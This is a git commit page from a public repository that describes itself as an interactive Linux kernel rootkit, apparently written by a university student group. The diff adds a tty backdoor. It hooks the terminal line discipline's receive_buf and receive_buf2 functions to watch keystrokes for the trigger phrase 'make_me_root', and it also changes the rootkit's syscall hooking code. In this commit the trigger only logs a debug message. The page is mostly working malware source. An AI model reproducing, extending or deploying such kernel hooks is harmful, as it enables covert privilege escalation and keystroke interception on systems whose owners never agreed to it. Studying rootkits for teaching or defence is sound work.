linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit cfcc31b052f021f6361b5f31215c3137305ff5bf
parent f8ea06a195b7390311b892394deea9e99c73227b
Author: deurzen <m.deurzen@tum.de>
Date:   Fri, 27 Nov 2020 20:03:11 +0100

adds initial {p,t}ty backdoor code

Diffstat:
Msrc/backdoor.c | 77+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++------
Msrc/backdoor.h | 6++++++
Msrc/g7.c | 2+-
Msrc/hook.c | 13++++++-------
4 files changed, 84 insertions(+), 14 deletions(-)

diff --git a/src/backdoor.c b/src/backdoor.c @@ -1,7 +1,16 @@ +#include <linux/tty.h> + #include "common.h" #include "backdoor.h" #include "hook.h" +atomic_t receive_buf_count; +atomic_t receive_buf2_count; +struct tty_struct *tty; + +void (*current_receive_buf)(struct tty_struct *, const unsigned char *, char *, int); +int (*current_receive_buf2)(struct tty_struct *, const unsigned char *, char *, int); + void backdoor_read(void) { @@ -13,15 +22,71 @@ backdoor_read(void) void backdoor_tty(void) { - disable_protection(); - // TODO - enable_protection(); + if ((tty = get_current_tty())) { + if (tty->ldisc->ops->receive_buf2) { + atomic_set(&receive_buf2_count, 0); + current_receive_buf2 = tty->ldisc->ops->receive_buf2; + tty->ldisc->ops->receive_buf2 = g7_receive_buf2; + } else if (tty->ldisc->ops->receive_buf) { + atomic_set(&receive_buf_count, 0); + current_receive_buf = tty->ldisc->ops->receive_buf; + tty->ldisc->ops->receive_buf = g7_receive_buf; + } + } } void disable_backdoor(void) { - disable_protection(); - sys_calls[__NR_read] = (void *)sys_read; - enable_protection(); + if (tty) { + if (current_receive_buf2) { + while (atomic_read(&receive_buf2_count) > 0); + tty->ldisc->ops->receive_buf2 = current_receive_buf2; + } else if (current_receive_buf) { + while (atomic_read(&receive_buf_count) > 0); + tty->ldisc->ops->receive_buf = current_receive_buf; + } + + tty = NULL; + } +} + + +void +g7_receive_buf(struct tty_struct *_tty, const unsigned char *cp, char *fp, int count) +{ + static char *buf = G7_BACKDOOR_MSG; + static size_t index = 0; + + atomic_inc(&receive_buf_count); + + if (count == 1) { + // account for `echo` line discipline option by also + // counting double occurrences of each character (@else) + if (cp[0] == buf[index]) { + ++index; + } else if(!(index && cp[0] == buf[index - 1])) { + index = 0; + } + + if (index == strlen(buf)) { + index = 0; + DEBUG_INFO("caught 'make_me_root'\n"); + } + } + + if (current_receive_buf) + current_receive_buf(_tty, cp, fp, count); + + atomic_dec(&receive_buf_count); +} + +int +g7_receive_buf2(struct tty_struct *_tty, const unsigned char *cp, char *fp, int count) +{ + atomic_inc(&receive_buf2_count); + g7_receive_buf(_tty, cp, fp, count); + int ret = current_receive_buf2(_tty, cp, fp, count); + atomic_dec(&receive_buf2_count); + return ret; } diff --git a/src/backdoor.h b/src/backdoor.h @@ -1,8 +1,14 @@ #ifndef _GROUP7_BACKDOOR_H #define _GROUP7_BACKDOOR_H +#define G7_BACKDOOR_MSG "make_me_root" + void backdoor_read(void); void backdoor_tty(void); void disable_backdoor(void); +// hooks +void g7_receive_buf(struct tty_struct *, const unsigned char *, char *, int); +int g7_receive_buf2(struct tty_struct *, const unsigned char *, char *, int); + #endif//_GROUP7_BACKDOOR_H diff --git a/src/g7.c b/src/g7.c @@ -41,7 +41,7 @@ static struct file_operations g7_fops = rootkit_t rootkit = { .hiding_files = true, - .backdoor = BD_READ, + .backdoor = BD_TTY, }; diff --git a/src/hook.c b/src/hook.c @@ -73,11 +73,13 @@ remove_hooks(void) enable_protection(); } - if (rootkit.backdoor != BD_OFF) { + if (rootkit.backdoor == BD_READ) { while (atomic_read(&read_count) > 0); disable_protection(); sys_calls[__NR_read] = (void *)sys_read; enable_protection(); + } else if (rootkit.backdoor == BD_TTY) { + disable_backdoor(); } } @@ -97,12 +99,9 @@ enable_protection(void) asmlinkage ssize_t g7_read(const struct pt_regs *pt_regs) { - int fd = (int)pt_regs->di; - void *buf = (void *)pt_regs->si; - size_t count = (size_t)pt_regs->dx; - - if (!memcmp((const char *)buf, "make_me_root", count)) - DEBUG_INFO("YEP"); + /* unsigned fd = (unsigned)pt_regs->di; */ + /* char *buf = (char *)pt_regs->si; */ + /* size_t count = (size_t)pt_regs->dx; */ return sys_read(pt_regs); }